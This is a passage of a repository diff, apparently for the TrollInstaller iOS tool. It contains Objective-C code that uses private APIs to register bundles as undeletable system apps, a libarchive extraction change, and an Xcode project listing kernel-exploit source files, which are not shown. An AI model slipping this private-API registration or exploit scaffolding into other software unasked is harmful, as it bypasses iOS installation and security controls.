LSApplicationWorkspace *workspace =
[LSApplicationWorkspace defaultWorkspace];
if (unregister && ![[NSFileManager defaultManager] fileExistsAtPath:[NSString stringWithUTF8String:path]]) {
LSApplicationProxy *app = [LSApplicationProxy
applicationProxyForIdentifier:[NSString stringWithUTF8String:path]];
if (app.bundleURL)
path = (char *)[[app bundleURL] fileSystemRepresentation];
}
NSString *rawPath = [NSString stringWithUTF8String:path];
rawPath = [rawPath stringByResolvingSymlinksInPath];
NSDictionary *infoPlist = [NSDictionary
dictionaryWithContentsOfFile:
[rawPath stringByAppendingPathComponent:@"Info.plist"]];
NSString *bundleID = [infoPlist objectForKey:@"CFBundleIdentifier"];
NSURL *url = [NSURL fileURLWithPath:rawPath];
if (bundleID && !unregister) {
MCMContainer *appContainer = [objc_getClass("MCMAppDataContainer")
containerWithIdentifier:bundleID
createIfNecessary:YES
existed:nil
error:nil];
NSString *containerPath = [appContainer url].path;
NSMutableDictionary *plist = [NSMutableDictionary dictionary];
[plist setObject:@"System" forKey:@"ApplicationType"];
[plist setObject:@1 forKey:@"BundleNameIsLocalized"];
[plist setObject:bundleID forKey:@"CFBundleIdentifier"];
[plist setObject:@0 forKey:@"CompatibilityState"];
if (containerPath) [plist setObject:containerPath forKey:@"Container"];
[plist setObject:@0 forKey:@"IsDeletable"];
[plist setObject:rawPath forKey:@"Path"];
NSString *pluginsPath =
[rawPath stringByAppendingPathComponent:@"PlugIns"];
NSArray *plugins = [[NSFileManager defaultManager]
contentsOfDirectoryAtPath:pluginsPath
error:nil];
NSMutableDictionary *bundlePlugins = [NSMutableDictionary dictionary];
for (NSString *pluginName in plugins) {
NSString *fullPath =
[pluginsPath stringByAppendingPathComponent:pluginName];
NSDictionary *infoPlist = [NSDictionary
dictionaryWithContentsOfFile:
[fullPath stringByAppendingPathComponent:@"Info.plist"]];
NSString *pluginBundleID =
[infoPlist objectForKey:@"CFBundleIdentifier"];
if (!pluginBundleID) continue;
MCMContainer *pluginContainer =
[objc_getClass("MCMPluginKitPluginDataContainer")
containerWithIdentifier:pluginBundleID
createIfNecessary:YES
existed:nil
error:nil];
NSString *pluginContainerPath = [pluginContainer url].path;
NSMutableDictionary *pluginPlist = [NSMutableDictionary dictionary];
[pluginPlist setObject:@"PluginKitPlugin"
forKey:@"ApplicationType"];
[pluginPlist setObject:@1 forKey:@"BundleNameIsLocalized"];
[pluginPlist setObject:pluginBundleID forKey:@"CFBundleIdentifier"];
[pluginPlist setObject:@0 forKey:@"CompatibilityState"];
[pluginPlist setObject:pluginContainerPath forKey:@"Container"];
[pluginPlist setObject:fullPath forKey:@"Path"];
[pluginPlist setObject:bundleID forKey:@"PluginOwnerBundleID"];
[bundlePlugins setObject:pluginPlist forKey:pluginBundleID];
}
[plist setObject:bundlePlugins forKey:@"_LSBundlePlugins"];
if (![workspace registerApplicationDictionary:plist]) {
fprintf(stderr, "Error: Unable to register %s\n", path);
}
} else {
if (![workspace unregisterApplication:url]) {
fprintf(stderr, "Error: Unable to unregister %s\n", path);
}
}
}

View File

@ -1,7 +1,7 @@
#import "unarchive.h"
#include <archive.h>
#include <archive_entry.h>
#include <libarchive/archive.h>
#include <libarchive/archive_entry.h>
static int
copy_data(struct archive *ar, struct archive *aw)
@ -45,7 +45,7 @@ int extract(NSString* fileToExtract, NSString* extractionPath)
ext = archive_write_disk_new();
archive_write_disk_set_options(ext, flags);
archive_write_disk_set_standard_lookup(ext);
if ((r = archive_read_open_filename(a, fileToExtract.fileSystemRepresentation, 10240)))
if ((r = archive_read_open_filename(a, fileToExtract.UTF8String, 10240)))
return 1;
for (;;)
{
@ -59,8 +59,8 @@ int extract(NSString* fileToExtract, NSString* extractionPath)
NSString* currentFile = [NSString stringWithUTF8String:archive_entry_pathname(entry)];
NSString* fullOutputPath = [extractionPath stringByAppendingPathComponent:currentFile];
//printf("extracting %@ to %@\n", currentFile, fullOutputPath);
archive_entry_set_pathname(entry, fullOutputPath.fileSystemRepresentation);
//printf("extracting %s to %s\n", currentFile.UTF8String, fullOutputPath.UTF8String);
archive_entry_set_pathname(entry, fullOutputPath.UTF8String);
r = archive_write_header(ext, entry);
if (r < ARCHIVE_OK)

View File

@ -0,0 +1,478 @@
// !$*UTF8*$!
{
archiveVersion = 1;
classes = {
};
objectVersion = 55;
objects = {
/* Begin PBXBuildFile section */
8C4D6A3528C17B010004DEA4 /* unarchive.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C4D6A3428C17B010004DEA4 /* unarchive.m */; };
8C7E16FF28B24C0000D9D33E /* TrollStore.tar in Resources */ = {isa = PBXBuildFile; fileRef = 8C7E16FE28B24C0000D9D33E /* TrollStore.tar */; };
8CDF7C4928AE47A200837105 /* kernel_rw.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C3928AE47A200837105 /* kernel_rw.c */; };
8CDF7C4A28AE47A200837105 /* port_utils.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C3A28AE47A200837105 /* port_utils.c */; };
8CDF7C4B28AE47A200837105 /* IOGPU.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C3B28AE47A200837105 /* IOGPU.c */; };
8CDF7C4C28AE47A200837105 /* spray.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C3D28AE47A200837105 /* spray.c */; };
8CDF7C4D28AE47A200837105 /* mcast.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C3E28AE47A200837105 /* mcast.c */; };
8CDF7C4E28AE47A200837105 /* kernel_base.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C3F28AE47A200837105 /* kernel_base.c */; };
8CDF7C4F28AE47A200837105 /* IOSurfaceRoot.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C4028AE47A200837105 /* IOSurfaceRoot.c */; };
8CDF7C5028AE47A200837105 /* necp.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C4128AE47A200837105 /* necp.c */; };
8CDF7C5128AE47A200837105 /* exploit.c in Sources */ = {isa = PBXBuildFile; fileRef = 8CDF7C4828AE47A200837105 /* exploit.c */; };
8CE2BD2528AD5D710058FBAD /* AppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CE2BD2428AD5D710058FBAD /* AppDelegate.m */; };
8CE2BD2828AD5D710058FBAD /* SceneDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CE2BD2728AD5D710058FBAD /* SceneDelegate.m */; };
8CE2BD2B28AD5D710058FBAD /* ViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CE2BD2A28AD5D710058FBAD /* ViewController.m */; };
8CE2BD2E28AD5D720058FBAD /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 8CE2BD2C28AD5D720058FBAD /* Main.storyboard */; };
8CE2BD3028AD5D730058FBAD /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 8CE2BD2F28AD5D730058FBAD /* Assets.xcassets */; };
8CE2BD3328AD5D730058FBAD /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 8CE2BD3128AD5D730058FBAD /* LaunchScreen.storyboard */; };
8CE2BD3628AD5D730058FBAD /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CE2BD3528AD5D730058FBAD /* main.m */; };
8CE2BD7428AD5E060058FBAD /* KernelManager.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CE2BD7228AD5E060058FBAD /* KernelManager.m */; };
8CE2BD7728AD5E1A0058FBAD /* kutil.m in Sources */ = {isa = PBXBuildFile; fileRef = 8CE2BD7528AD5E1A0058FBAD /* kutil.m */; };
/* End PBXBuildFile section */
/* Begin PBXFileReference section */
8C4D6A3428C17B010004DEA4 /* unarchive.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = unarchive.m; sourceTree = "<group>"; };
8C4D6A3628C17B0F0004DEA4 /* unarchive.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = unarchive.h; sourceTree = "<group>"; };
8C4D6A3728C17B830004DEA4 /* archive_entry.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = archive_entry.h; sourceTree = "<group>"; };
8C4D6A3828C17B830004DEA4 /* archive.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = archive.h; sourceTree = "<group>"; };
8C7E16FE28B24C0000D9D33E /* TrollStore.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; name = TrollStore.tar; path = ../../../_compile/out/TrollStore.tar; sourceTree = "<group>"; };
8CDF7C3528AE47A200837105 /* kernel_base.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel_base.h; sourceTree = "<group>"; };
8CDF7C3628AE47A200837105 /* xpaci.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = xpaci.h; sourceTree = "<group>"; };
8CDF7C3728AE47A200837105 /* necp.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = necp.h; sourceTree = "<group>"; };
8CDF7C3828AE47A200837105 /* IOSurfaceRoot.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = IOSurfaceRoot.h; sourceTree = "<group>"; };
8CDF7C3928AE47A200837105 /* kernel_rw.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kernel_rw.c; sourceTree = "<group>"; };
8CDF7C3A28AE47A200837105 /* port_utils.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = port_utils.c; sourceTree = "<group>"; };
8CDF7C3B28AE47A200837105 /* IOGPU.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = IOGPU.c; sourceTree = "<group>"; };
8CDF7C3C28AE47A200837105 /* exploit.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = exploit.h; sourceTree = "<group>"; };
8CDF7C3D28AE47A200837105 /* spray.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = spray.c; sourceTree = "<group>"; };
8CDF7C3E28AE47A200837105 /* mcast.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = mcast.c; sourceTree = "<group>"; };
8CDF7C3F28AE47A200837105 /* kernel_base.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kernel_base.c; sourceTree = "<group>"; };
8CDF7C4028AE47A200837105 /* IOSurfaceRoot.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = IOSurfaceRoot.c; sourceTree = "<group>"; };
8CDF7C4128AE47A200837105 /* necp.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = necp.c; sourceTree = "<group>"; };
8CDF7C4228AE47A200837105 /* iokit.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = iokit.h; sourceTree = "<group>"; };
8CDF7C4328AE47A200837105 /* IOGPU.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = IOGPU.h; sourceTree = "<group>"; };
8CDF7C4428AE47A200837105 /* port_utils.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = port_utils.h; sourceTree = "<group>"; };
8CDF7C4528AE47A200837105 /* kernel_rw.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel_rw.h; sourceTree = "<group>"; };
8CDF7C4628AE47A200837105 /* mcast.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = mcast.h; sourceTree = "<group>"; };
8CDF7C4728AE47A200837105 /* spray.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = spray.h; sourceTree = "<group>"; };
8CDF7C4828AE47A200837105 /* exploit.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = exploit.c; sourceTree = "<group>"; };
8CE2BD2028AD5D710058FBAD /* TrollInstaller.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = TrollInstaller.app; sourceTree = BUILT_PRODUCTS_DIR; };
8CE2BD2328AD5D710058FBAD /* AppDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = AppDelegate.h; sourceTree = "<group>"; };
8CE2BD2428AD5D710058FBAD /* AppDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = AppDelegate.m; sourceTree = "<group>"; };
8CE2BD2628AD5D710058FBAD /* SceneDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = SceneDelegate.h; sourceTree = "<group>"; };
8CE2BD2728AD5D710058FBAD /* SceneDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = SceneDelegate.m; sourceTree = "<group>"; };
8CE2BD2928AD5D710058FBAD /* ViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ViewController.h; sourceTree = "<group>"; };
8CE2BD2A28AD5D710058FBAD /* ViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = ViewController.m; sourceTree = "<group>"; };
8CE2BD2D28AD5D720058FBAD /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = "<group>"; };
8CE2BD2F28AD5D730058FBAD /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = "<group>"; };
8CE2BD3228AD5D730058FBAD /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/LaunchScreen.storyboard; sourceTree = "<group>"; };
8CE2BD3428AD5D730058FBAD /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
8CE2BD3528AD5D730058FBAD /* main.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = "<group>"; };
8CE2BD7228AD5E060058FBAD /* KernelManager.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = KernelManager.m; sourceTree = "<group>"; };
8CE2BD7328AD5E060058FBAD /* KernelManager.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = KernelManager.h; sourceTree = "<group>"; };
8CE2BD7528AD5E1A0058FBAD /* kutil.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = kutil.m; sourceTree = "<group>"; };
8CE2BD7628AD5E1A0058FBAD /* kutil.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kutil.h; sourceTree = "<group>"; };
/* End PBXFileReference section */
/* Begin PBXFrameworksBuildPhase section */
8CE2BD1D28AD5D710058FBAD /* Frameworks */ = {
isa = PBXFrameworksBuildPhase;
buildActionMask = 2147483647;
files = (
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXFrameworksBuildPhase section */
/* Begin PBXGroup section */
8C4D6A3128C17A490004DEA4 /* headers */ = {
isa = PBXGroup;
children = (
8C4D6A3728C17B830004DEA4 /* archive_entry.h */,
8C4D6A3828C17B830004DEA4 /* archive.h */,
);
path = headers;
sourceTree = "<group>";
};
8CDF7C3428AE47A200837105 /* exploit */ = {
isa = PBXGroup;
children = (
8CDF7C3528AE47A200837105 /* kernel_base.h */,
8CDF7C3628AE47A200837105 /* xpaci.h */,
8CDF7C3728AE47A200837105 /* necp.h */,
8CDF7C3828AE47A200837105 /* IOSurfaceRoot.h */,
8CDF7C3928AE47A200837105 /* kernel_rw.c */,
8CDF7C3A28AE47A200837105 /* port_utils.c */,
8CDF7C3B28AE47A200837105 /* IOGPU.c */,
8CDF7C3C28AE47A200837105 /* exploit.h */,
8CDF7C3D28AE47A200837105 /* spray.c */,
8CDF7C3E28AE47A200837105 /* mcast.c */,
8CDF7C3F28AE47A200837105 /* kernel_base.c */,
8CDF7C4028AE47A200837105 /* IOSurfaceRoot.c */,
8CDF7C4128AE47A200837105 /* necp.c */,
8CDF7C4228AE47A200837105 /* iokit.h */,
8CDF7C4328AE47A200837105 /* IOGPU.h */,
8CDF7C4428AE47A200837105 /* port_utils.h */,
8CDF7C4528AE47A200837105 /* kernel_rw.h */,
8CDF7C4628AE47A200837105 /* mcast.h */,
8CDF7C4728AE47A200837105 /* spray.h */,
8CDF7C4828AE47A200837105 /* exploit.c */,
);
path = exploit;
sourceTree = "<group>";
};
8CE2BD1728AD5D710058FBAD = {
isa = PBXGroup;
children = (
8CE2BD2228AD5D710058FBAD /* TrollInstaller */,
8CE2BD2128AD5D710058FBAD /* Products */,
);
sourceTree = "<group>";
};
8CE2BD2128AD5D710058FBAD /* Products */ = {
isa = PBXGroup;
children = (
8CE2BD2028AD5D710058FBAD /* TrollInstaller.app */,
);
name = Products;
sourceTree = "<group>";
};
8CE2BD2228AD5D710058FBAD /* TrollInstaller */ = {
isa = PBXGroup;
children = (
8C4D6A3128C17A490004DEA4 /* headers */,
8CDF7C3428AE47A200837105 /* exploit */,
8CE2BD2328AD5D710058FBAD /* AppDelegate.h */,
8CE2BD2428AD5D710058FBAD /* AppDelegate.m */,
8CE2BD2628AD5D710058FBAD /* SceneDelegate.h */,
8CE2BD2728AD5D710058FBAD /* SceneDelegate.m */,
8CE2BD2928AD5D710058FBAD /* ViewController.h */,
8CE2BD2A28AD5D710058FBAD /* ViewController.m */,
8CE2BD7328AD5E060058FBAD /* KernelManager.h */,
8CE2BD7228AD5E060058FBAD /* KernelManager.m */,
8CE2BD7628AD5E1A0058FBAD /* kutil.h */,
8CE2BD7528AD5E1A0058FBAD /* kutil.m */,
8C4D6A3628C17B0F0004DEA4 /* unarchive.h */,
8C4D6A3428C17B010004DEA4 /* unarchive.m */,
8CE2BD2C28AD5D720058FBAD /* Main.storyboard */,
8CE2BD2F28AD5D730058FBAD /* Assets.xcassets */,
8CE2BD3128AD5D730058FBAD /* LaunchScreen.storyboard */,
8CE2BD3428AD5D730058FBAD /* Info.plist */,
8CE2BD3528AD5D730058FBAD /* main.m */,
8C7E16FE28B24C0000D9D33E /* TrollStore.tar */,
);
path = TrollInstaller;
sourceTree = "<group>";
};
/* End PBXGroup section */
/* Begin PBXNativeTarget section */
8CE2BD1F28AD5D710058FBAD /* TrollInstaller */ = {
isa = PBXNativeTarget;
buildConfigurationList = 8CE2BD3928AD5D730058FBAD /* Build configuration list for PBXNativeTarget "TrollInstaller" */;
buildPhases = (
8CE2BD1C28AD5D710058FBAD /* Sources */,
8CE2BD1D28AD5D710058FBAD /* Frameworks */,
8CE2BD1E28AD5D710058FBAD /* Resources */,
);
buildRules = (
);
dependencies = (
);
name = TrollInstaller;
productName = TrollInstaller;
productReference = 8CE2BD2028AD5D710058FBAD /* TrollInstaller.app */;
productType = "com.apple.product-type.application";
};
/* End PBXNativeTarget section */
/* Begin PBXProject section */
8CE2BD1828AD5D710058FBAD /* Project object */ = {
isa = PBXProject;
attributes = {
BuildIndependentTargetsInParallel = 1;
LastUpgradeCheck = 1340;
TargetAttributes = {
8CE2BD1F28AD5D710058FBAD = {
CreatedOnToolsVersion = 13.4.1;
};
};
};
buildConfigurationList = 8CE2BD1B28AD5D710058FBAD /* Build configuration list for PBXProject "TrollInstaller" */;
compatibilityVersion = "Xcode 13.0";
developmentRegion = en;
hasScannedForEncodings = 0;
knownRegions = (
en,
Base,
);
mainGroup = 8CE2BD1728AD5D710058FBAD;
productRefGroup = 8CE2BD2128AD5D710058FBAD /* Products */;
projectDirPath = "";
projectRoot = "";
targets = (
8CE2BD1F28AD5D710058FBAD /* TrollInstaller */,
);
};
/* End PBXProject section */
/* Begin PBXResourcesBuildPhase section */
8CE2BD1E28AD5D710058FBAD /* Resources */ = {
isa = PBXResourcesBuildPhase;
buildActionMask = 2147483647;
files = (
8CE2BD3328AD5D730058FBAD /* LaunchScreen.storyboard in Resources */,
8C7E16FF28B24C0000D9D33E /* TrollStore.tar in Resources */,
8CE2BD3028AD5D730058FBAD /* Assets.xcassets in Resources */,
8CE2BD2E28AD5D720058FBAD /* Main.storyboard in Resources */,
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXResourcesBuildPhase section */
/* Begin PBXSourcesBuildPhase section */
8CE2BD1C28AD5D710058FBAD /* Sources */ = {
isa = PBXSourcesBuildPhase;
buildActionMask = 2147483647;
files = (
8CDF7C4B28AE47A200837105 /* IOGPU.c in Sources */,
8CDF7C4C28AE47A200837105 /* spray.c in Sources */,
8CE2BD2B28AD5D710058FBAD /* ViewController.m in Sources */,
8CDF7C4D28AE47A200837105 /* mcast.c in Sources */,
8CDF7C5128AE47A200837105 /* exploit.c in Sources */,
8CDF7C4F28AE47A200837105 /* IOSurfaceRoot.c in Sources */,
8CE2BD2528AD5D710058FBAD /* AppDelegate.m in Sources */,
8CDF7C4A28AE47A200837105 /* port_utils.c in Sources */,
8CDF7C5028AE47A200837105 /* necp.c in Sources */,
8CE2BD7728AD5E1A0058FBAD /* kutil.m in Sources */,
8CDF7C4928AE47A200837105 /* kernel_rw.c in Sources */,
8C4D6A3528C17B010004DEA4 /* unarchive.m in Sources */,
8CE2BD7428AD5E060058FBAD /* KernelManager.m in Sources */,
8CDF7C4E28AE47A200837105 /* kernel_base.c in Sources */,
8CE2BD3628AD5D730058FBAD /* main.m in Sources */,
8CE2BD2828AD5D710058FBAD /* SceneDelegate.m in Sources */,
);
runOnlyForDeploymentPostprocessing = 0;
};
/* End PBXSourcesBuildPhase section */
/* Begin PBXVariantGroup section */
8CE2BD2C28AD5D720058FBAD /* Main.storyboard */ = {
isa = PBXVariantGroup;
children = (
8CE2BD2D28AD5D720058FBAD /* Base */,
);
name = Main.storyboard;
sourceTree = "<group>";
};
8CE2BD3128AD5D730058FBAD /* LaunchScreen.storyboard */ = {
isa = PBXVariantGroup;
children = (
8CE2BD3228AD5D730058FBAD /* Base */,
);
name = LaunchScreen.storyboard;
sourceTree = "<group>";
};
/* End PBXVariantGroup section */
/* Begin XCBuildConfiguration section */
8CE2BD3728AD5D730058FBAD /* Debug */ = {
isa = XCBuildConfiguration;
buildSettings = {
ALWAYS_SEARCH_USER_PATHS = NO;
CLANG_ANALYZER_NONNULL = YES;
CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
CLANG_CXX_LANGUAGE_STANDARD = "gnu++17";
CLANG_ENABLE_MODULES = YES;
CLANG_ENABLE_OBJC_ARC = YES;
CLANG_ENABLE_OBJC_WEAK = YES;
CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
CLANG_WARN_BOOL_CONVERSION = YES;
CLANG_WARN_COMMA = YES;
CLANG_WARN_CONSTANT_CONVERSION = YES;
CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
CLANG_WARN_EMPTY_BODY = YES;
CLANG_WARN_ENUM_CONVERSION = YES;
CLANG_WARN_INFINITE_RECURSION = YES;
CLANG_WARN_INT_CONVERSION = YES;
CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES;
CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
CLANG_WARN_STRICT_PROTOTYPES = YES;
CLANG_WARN_SUSPICIOUS_MOVE = YES;
CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
CLANG_WARN_UNREACHABLE_CODE = YES;
CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
COPY_PHASE_STRIP = NO;
DEBUG_INFORMATION_FORMAT = dwarf;
ENABLE_STRICT_OBJC_MSGSEND = YES;
ENABLE_TESTABILITY = YES;
GCC_C_LANGUAGE_STANDARD = gnu11;
GCC_DYNAMIC_NO_PIC = NO;
GCC_NO_COMMON_BLOCKS = YES;
GCC_OPTIMIZATION_LEVEL = 0;
GCC_PREPROCESSOR_DEFINITIONS = (
"DEBUG=1",
"$(inherited)",
);
GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
GCC_WARN_UNDECLARED_SELECTOR = YES;
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
GCC_WARN_UNUSED_FUNCTION = YES;
GCC_WARN_UNUSED_VARIABLE = YES;
IPHONEOS_DEPLOYMENT_TARGET = 15.5;
MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE;
MTL_FAST_MATH = YES;
ONLY_ACTIVE_ARCH = YES;
SDKROOT = iphoneos;
};
name = Debug;
};
8CE2BD3828AD5D730058FBAD /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
ALWAYS_SEARCH_USER_PATHS = NO;
CLANG_ANALYZER_NONNULL = YES;
CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
CLANG_CXX_LANGUAGE_STANDARD = "gnu++17";
CLANG_ENABLE_MODULES = YES;
CLANG_ENABLE_OBJC_ARC = YES;
CLANG_ENABLE_OBJC_WEAK = YES;
CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
CLANG_WARN_BOOL_CONVERSION = YES;
CLANG_WARN_COMMA = YES;
CLANG_WARN_CONSTANT_CONVERSION = YES;
CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
CLANG_WARN_EMPTY_BODY = YES;
CLANG_WARN_ENUM_CONVERSION = YES;
CLANG_WARN_INFINITE_RECURSION = YES;
CLANG_WARN_INT_CONVERSION = YES;
CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES;
CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
CLANG_WARN_STRICT_PROTOTYPES = YES;
CLANG_WARN_SUSPICIOUS_MOVE = YES;
CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
CLANG_WARN_UNREACHABLE_CODE = YES;
CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
COPY_PHASE_STRIP = NO;
DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym";
ENABLE_NS_ASSERTIONS = NO;
ENABLE_STRICT_OBJC_MSGSEND = YES;
GCC_C_LANGUAGE_STANDARD = gnu11;
GCC_NO_COMMON_BLOCKS = YES;
GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
GCC_WARN_UNDECLARED_SELECTOR = YES;
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
GCC_WARN_UNUSED_FUNCTION = YES;
GCC_WARN_UNUSED_VARIABLE = YES;
IPHONEOS_DEPLOYMENT_TARGET = 15.5;
MTL_ENABLE_DEBUG_INFO = NO;
MTL_FAST_MATH = YES;
SDKROOT = iphoneos;
VALIDATE_PRODUCT = YES;
};
name = Release;
};
8CE2BD3A28AD5D730058FBAD /* Debug */ = {
isa = XCBuildConfiguration;
buildSettings = {
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
CODE_SIGN_STYLE = Automatic;
CURRENT_PROJECT_VERSION = 1;
DEVELOPMENT_TEAM = 3Z56NQJ65R;
GENERATE_INFOPLIST_FILE = YES;
INFOPLIST_FILE = TrollInstaller/Info.plist;
INFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES;
INFOPLIST_KEY_UILaunchStoryboardName = LaunchScreen;
INFOPLIST_KEY_UIMainStoryboardFile = Main;
INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight";
INFOPLIST_KEY_UISupportedInterfaceOrientations_iPhone = "UIInterfaceOrientationPortrait UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight";
IPHONEOS_DEPLOYMENT_TARGET = 14.0;
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
"@executable_path/Frameworks",
);
MARKETING_VERSION = 1.0;
OTHER_LDFLAGS = (
"-framework",
IOKit,
"-larchive",
);
PRODUCT_BUNDLE_IDENTIFIER = com.opa334.TrollInstaller;
PRODUCT_NAME = "$(TARGET_NAME)";
SWIFT_EMIT_LOC_STRINGS = YES;
TARGETED_DEVICE_FAMILY = "1,2";
};
name = Debug;
};
8CE2BD3B28AD5D730058FBAD /* Release */ = {
isa = XCBuildConfiguration;
buildSettings = {
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
